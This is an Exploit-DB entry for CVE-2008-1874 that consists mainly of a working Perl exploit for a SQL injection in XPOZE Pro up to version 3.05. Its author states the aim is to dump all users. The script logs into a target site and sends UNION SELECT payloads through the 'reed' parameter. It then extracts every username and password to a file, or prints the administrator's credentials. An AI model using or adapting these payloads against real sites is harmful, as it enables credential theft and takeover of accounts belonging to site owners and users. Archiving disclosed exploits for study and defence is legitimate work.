XPOZE Pro <= 3.05 reed Remote SQL Injection Exploit

2008-04-04T00:00:00
ID EDB-ID:5358
Type exploitdb
Reporter t0pP8uZz
Modified 2008-04-04T00:00:00

Description

XPOZE Pro <= 3.05 (reed) Remote SQL Injection Exploit. CVE-2008-1874. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

# - XPOZE Pro &lt;= 3.05 SQL Injection Exploit -
#     Coded And Discovered by t0pP8uZz

# Why a exploit? mainly to dump all users easyily.
# Lots of websites are reslling this script, so there is no suitable dork.

use strict;
use LWP::UserAgent;

print "-------------------------------------------------\n";
print "-     XPOZE Pro &lt;= 3.05 SQL Injection Exploit   -\n";
print "-         Discovered & Coded By t0pP8uZz        -\n";
print "-     CipherCrew, h4ck-y0u.org, milw0rm.com     -\n";
print "-------------------------------------------------\n\n";

print "Enter URL (ie: http://xpoze.com/demo/): ";
	chomp(my $url = &lt;STDIN&gt;);

print "Enter Valid Username (register on target site first): ";
	chomp(my $user = &lt;STDIN&gt;);

print "Enter Valid Password (register on target site first): ";
	chomp(my $pass = &lt;STDIN&gt;);

print "Attack Type (enter 1 too dump all users, enter 2 too get admin details): ";
	chomp(my $type = &lt;STDIN&gt;);

my $ua = LWP::UserAgent-&gt;new( agent =&gt; 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar =&gt; {} );
my $response = $ua-&gt;post($url, {'username' =&gt; $user, 'password' =&gt; $pass, 'login' =&gt; 'Submit'});

if($response-&gt;is_success()) {

	if($type == 1) {
	
		my $res = $ua-&gt;get($url."/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users/*");
		(my @users) = $res-&gt;content =~ /&lt;1&gt;(.*?)&lt;2&gt;/g;
		
		open(FILE, "+&gt;&gt;C:\users.txt") or die ("Error Writing Users To File!");
		
		foreach $user (@users) {
			print FILE $user."\r\n";
			print $user."\n";
		}
		close FILE;
		print "Users Have Been Dumped To Local File 'C:\\users.txt'\n";
		
	} elsif($type == 2) {
	
		my $res = $ua-&gt;get($url."/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users WHERE rank=0/*");
		(my @users) = $res-&gt;content =~ /&lt;1&gt;(.*?)&lt;2&gt;/;
		
		my @user = split(/:/, $users[0]);
		
		print "\n\nAdmin Username: ".$user[0];
		print "\nAdmin Password: ".$user[1];
		print "\n\nDone!";
		
	} else { print "Invalid Attack Type!"; exit; }
} else { print "Check username/password!"; exit; }
exit;

# milw0rm.com [2008-04-04]